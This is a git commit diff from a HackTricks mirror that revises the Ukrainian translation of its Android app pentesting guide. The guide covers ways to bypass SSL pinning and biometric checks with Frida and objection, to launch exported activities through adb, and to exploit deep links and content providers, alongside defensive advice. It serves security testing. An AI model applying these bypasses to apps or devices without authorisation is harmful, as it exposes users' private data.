mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
d284e954eb
commit
fb037839ae
@ -334,6 +334,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
||||
|
@ -26,6 +26,7 @@ android-applications-basics.md
|
||||
|
||||
- [Спуфінг вашого місцезнаходження в Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (привілейований доступ без root на основі ADB)](shizuku-privileged-api.md)
|
||||
- [Експлуатація ненадійних механізмів оновлення в додатку](insecure-in-app-update-rce.md)
|
||||
- **Завантажити APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Витягти APK з пристрою:
|
||||
```bash
|
||||
@ -105,7 +106,7 @@ android-task-hijacking.md
|
||||
1. **Статичний аналіз:**
|
||||
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
|
||||
2. **Динамічний аналіз:**
|
||||
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли, **встановлені на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
|
||||
**Зовнішнє зберігання**
|
||||
|
||||
@ -121,7 +122,7 @@ android-task-hijacking.md
|
||||
- Зберігання виконуваних файлів або класів на зовнішньому зберіганні для динамічного завантаження категорично не рекомендується.
|
||||
- Якщо ваша програма повинна отримувати виконувані файли з зовнішнього зберігання, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок є важливим для підтримки цілісності безпеки вашої програми.
|
||||
|
||||
Зовнішнє зберігання може бути **доступним** у `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Зовнішнє зберігання можна **отримати** за адресами `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру директорій, яка **обмежує доступ програми до директорії, яка спеціально призначена для цієї програми**. Це запобігає зловмисним програмам отримувати доступ на читання або запис до файлів іншої програми.
|
||||
@ -155,9 +156,9 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
### Інші перевірки
|
||||
|
||||
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженерні роботи для зловмисників.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи є мобільний пристрій зламаним**, і діяти відповідно.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій зламаний**, і діяти відповідно.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK.
|
||||
|
||||
### React Native Application
|
||||
@ -182,7 +183,7 @@ react-native-application.md
|
||||
|
||||
### Автоматизований статичний аналіз коду
|
||||
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** програми. Цей інструмент містить серію **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем**), **синків** (які вказують інструменту **небезпечні** **місця**, де шкідливий вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** програми. Цей інструмент містить ряд **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем**), **синків** (які вказують інструменту **небезпечні** **місця**, де шкідливий вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
|
||||
З цими знаннями **mariana-trench перегляне код і знайде можливі вразливості в ньому**.
|
||||
|
||||
@ -215,7 +216,7 @@ content-protocol.md
|
||||
|
||||
## Динамічний аналіз
|
||||
|
||||
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат Burp CA, Drozer і Frida в основному). Тому дуже рекомендується використовувати зламаний пристрій (емулятор або ні).
|
||||
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат CA Burp, Drozer і Frida в основному). Тому дуже рекомендується використовувати зламаний пристрій (емулятор або ні).
|
||||
|
||||
### Онлайн динамічний аналіз
|
||||
|
||||
@ -231,7 +232,7 @@ content-protocol.md
|
||||
|
||||
#### Використання емулятора
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності в повільному емуляторі arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності повільного емулятора arm).
|
||||
- Дізнайтеся, як налаштувати його на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
@ -260,14 +261,14 @@ avd-android-virtual-device.md
|
||||
4. Натисніть **Номер збірки** 7 разів.
|
||||
5. Поверніться назад, і ви знайдете **Опції розробника**.
|
||||
|
||||
> Як тільки ви встановили додаток, перше, що ви повинні зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
> Після встановлення програми перше, що ви повинні зробити, це спробувати її та дослідити, що вона робить, як вона працює і звикнути до неї.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює програма**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
|
||||
### Ненавмисний витік даних
|
||||
|
||||
**Логування**
|
||||
**Журналювання**
|
||||
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів програми, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що з **пізніми версіями Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
@ -281,18 +282,18 @@ avd-android-virtual-device.md
|
||||
|
||||
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
|
||||
Як пентестер, **спробуйте переглянути ці журнали**.
|
||||
Як пентестер, **слідкуйте за цими журналами**.
|
||||
|
||||
**Дані аналітики, надіслані третім особам**
|
||||
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неналежну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація третім особам.
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається будь-яка чутлива інформація третім особам.
|
||||
|
||||
### SQLite БД
|
||||
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які створені, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, що створюються, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще **вразливість**.
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще є **вразливістю**.
|
||||
|
||||
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`.
|
||||
|
||||
@ -308,14 +309,14 @@ Drozer є корисним інструментом для **експлуата
|
||||
|
||||
**Обхід авторизації**
|
||||
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **авторизації**, щоб отримати доступ до неї.
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **авторизації**, щоб отримати до неї доступ.
|
||||
|
||||
[**Дізнайтеся, як експлуатувати експортовані активності за допомогою Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Ви також можете запустити експортовану активність з adb:
|
||||
|
||||
- PackageName - com.example.demo
|
||||
- Exported ActivityName - com.example.test.MainActivity
|
||||
- Ім'я пакета - com.example.demo
|
||||
- Експортоване ім'я активності - com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -332,30 +333,30 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати несподівані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](#tapjacking).
|
||||
|
||||
### Експлуатація постачальників контенту - доступ до чутливої інформації та її маніпуляція
|
||||
### Використання Content Providers - Доступ до чутливої інформації та її маніпуляція
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про постачальника контенту.**](android-applications-basics.md#content-provider)\
|
||||
Постачальники контенту в основному використовуються для **обміну даними**. Якщо у програми є доступні постачальники контенту, ви можете **витягти чутливі** дані з них. Також цікаво протестувати можливі **SQL-ін'єкції** та **перетворення шляхів**, оскільки вони можуть бути вразливими.
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers в основному використовуються для **обміну даними**. Якщо у програми є доступні content providers, ви можете **витягти чутливі** дані з них. Також цікаво протестувати можливі **SQL-ін'єкції** та **Path Traversals**, оскільки вони можуть бути вразливими.
|
||||
|
||||
[**Дізнайтеся, як експлуатувати постачальників контенту за допомогою Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Дізнайтеся, як експлуатувати Content Providers за допомогою Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Експлуатація сервісів**
|
||||
### **Використання Services**
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про сервіс.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії сервісу починаються в методі `onStartCommand`.
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Service.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії Service починаються в методі `onStartCommand`.
|
||||
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
[**Дізнайтеся, як експлуатувати сервіси за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
[**Дізнайтеся, як експлуатувати Services за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Експлуатація приймачів широкомовлення**
|
||||
### **Використання Broadcast Receivers**
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про приймач широкомовлення.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Пам'ятайте, що дії приймача широкомовлення починаються в методі `onReceive`.
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`.
|
||||
|
||||
Приймач широкомовлення буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
|
||||
[**Дізнайтеся, як експлуатувати приймачі широкомовлення за допомогою Drozer.**](#exploiting-broadcast-receivers)
|
||||
Broadcast receiver буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
|
||||
[**Дізнайтеся, як експлуатувати Broadcast Receivers за допомогою Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Експлуатація схем / глибоких посилань**
|
||||
### **Використання Schemes / Deep links**
|
||||
|
||||
Ви можете шукати глибокі посилання вручну, використовуючи інструменти, такі як MobSF, або скрипти, як [цей](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Ви можете **відкрити** оголошену **схему** за допомогою **adb** або **браузера**:
|
||||
@ -382,7 +383,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
**Параметри в шляху**
|
||||
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити дані користувачів без токена CSRF, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без CSRF токена, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Більше прикладів**
|
||||
|
||||
@ -390,9 +391,9 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
### Перевірка та верифікація транспортного шару
|
||||
|
||||
- **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика, коли ці додатки ігнорують попередження і приймають самопідписані сертифікати або, в деяких випадках, повертаються до використання HTTP-з'єднань.
|
||||
- **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
|
||||
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або дані користувачів, від перехоплення зловмисними особами.
|
||||
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або деталі користувачів, від перехоплення зловмисними особами.
|
||||
|
||||
#### Перевірка сертифікатів
|
||||
|
||||
@ -400,7 +401,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning - це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, що обробляють чутливу інформацію.
|
||||
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, що обробляють чутливу інформацію.
|
||||
|
||||
#### Інспекція трафіку
|
||||
|
||||
@ -408,16 +409,16 @@ SSL Pinning - це захід безпеки, коли додаток перев
|
||||
|
||||
Додатки, що націлені на **API Level 24 і вище**, потребують модифікацій конфігурації безпеки мережі, щоб приймати сертифікат CA проксі. Цей крок є критично важливим для перевірки зашифрованого трафіку. Для інструкцій щодо модифікації конфігурації безпеки мережі, [**зверніться до цього посібника**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватись інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката в сховище не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватись інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката до сховища не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
|
||||
#### Обхід SSL Pinning
|
||||
|
||||
Коли впроваджено SSL Pinning, обхід його стає необхідним для перевірки HTTPS-трафіку. Для цього доступні різні методи:
|
||||
|
||||
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найкраща перевага цього варіанту полягає в тому, що вам не потрібно мати root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацює.
|
||||
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найбільша перевага цього варіанту полягає в тому, що вам не потрібно мати root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацює.
|
||||
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цю захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснено нижче)
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning** за допомогою **MobSF динамічного аналізу** (пояснено нижче)
|
||||
- Якщо ви все ще вважаєте, що є якийсь трафік, який ви не захоплюєте, ви можете спробувати **переслати трафік до burp за допомогою iptables**. Прочитайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Пошук загальних веб-вразливостей
|
||||
@ -455,7 +456,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Чутливі дані в Keystore**
|
||||
|
||||
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати доступ** до нього. Оскільки програми, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
В Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати до них доступ**. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
|
||||
Навіть якщо додаток зберігав дані в keystore, дані повинні бути зашифровані.
|
||||
|
||||
@ -471,50 +472,50 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Фонові зображення**
|
||||
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатку**, щоб, коли він відновлюється на передній план, почати завантажувати зображення перед додатком, щоб здавалося, що додаток завантажився швидше.
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатку**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до нього).
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
|
||||
|
||||
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android надає спосіб **запобігти захопленню знімків екрану, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна обробляється як безпечний, що запобігає його появі на знімках екрану або перегляду на небезпечних дисплеях.
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна обробляється як безпечний, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
### **Аналізатор Android-додатків**
|
||||
|
||||
Цей інструмент може допомогти вам керувати різними інструментами під час динамічного аналізу: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
### Ін'єкція намірів
|
||||
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Intents і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Intents. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до зловмисних ін'єкцій Intent.
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до зловмисних ін'єкцій Намір.
|
||||
|
||||
### Essential Takeaways
|
||||
### Основні висновки
|
||||
|
||||
- **Intent Injection** подібний до проблеми Open Redirect в вебі.
|
||||
- **Ін'єкція намірів** подібна до проблеми відкритого перенаправлення в вебі.
|
||||
- Експлойти включають передачу об'єктів `Intent` як додаткових параметрів, які можуть бути перенаправлені для виконання небезпечних операцій.
|
||||
- Це може відкрити неекспортовані компоненти та постачальників контенту для зловмисників.
|
||||
- Перетворення URL в `Intent` у `WebView` може сприяти ненавмисним діям.
|
||||
- Перетворення URL-адреси `WebView` на `Intent` може сприяти ненавмисним діям.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
### Ін'єкції на стороні клієнта Android та інші
|
||||
|
||||
Можливо, ви знаєте про цей вид вразливостей з вебу. Вам потрібно бути особливо обережними з цими вразливостями в Android-додатку:
|
||||
Напевно, ви знаєте про цей вид вразливостей з вебу. Вам потрібно бути особливо обережними з цими вразливостями в Android-додатку:
|
||||
|
||||
- **SQL Injection:** При роботі з динамічними запитами або постачальниками контенту переконайтеся, що ви використовуєте параметризовані запити.
|
||||
- **JavaScript Injection (XSS):** Перевірте, що підтримка JavaScript і плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (включено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: У кількох випадках, коли Android-додаток завершує сесію, cookie не відкликається або може бути навіть збережено на диску.
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **SQL-ін'єкція:** При роботі з динамічними запитами або постачальниками контенту переконайтеся, що ви використовуєте параметризовані запити.
|
||||
- **Ін'єкція JavaScript (XSS):** Переконайтеся, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
- **Включення локальних файлів:** WebViews повинні мати доступ до файлової системи вимкненим (включено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
- **Вічні куки**: У кількох випадках, коли Android-додаток завершує сесію, куки не відкликаються або можуть навіть зберігатися на диску.
|
||||
- [**Безпечний прапор** у куках](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## Automatic Analysis
|
||||
## Автоматичний аналіз
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
**Static analysis**
|
||||
**Статичний аналіз**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -526,14 +527,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **та Windows**(apx) програми (_Windows програми повинні аналізуватися з MobSF, встановленого на Windows хості_).\
|
||||
Також, якщо ви створите **ZIP** файл з вихідним кодом **Android** або **IOS** програми (перейдіть до кореневої папки програми, виберіть все і створіть ZIP-файл), він також зможе його проаналізувати.
|
||||
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **хеш** буде **завантажений** замість файлу.
|
||||
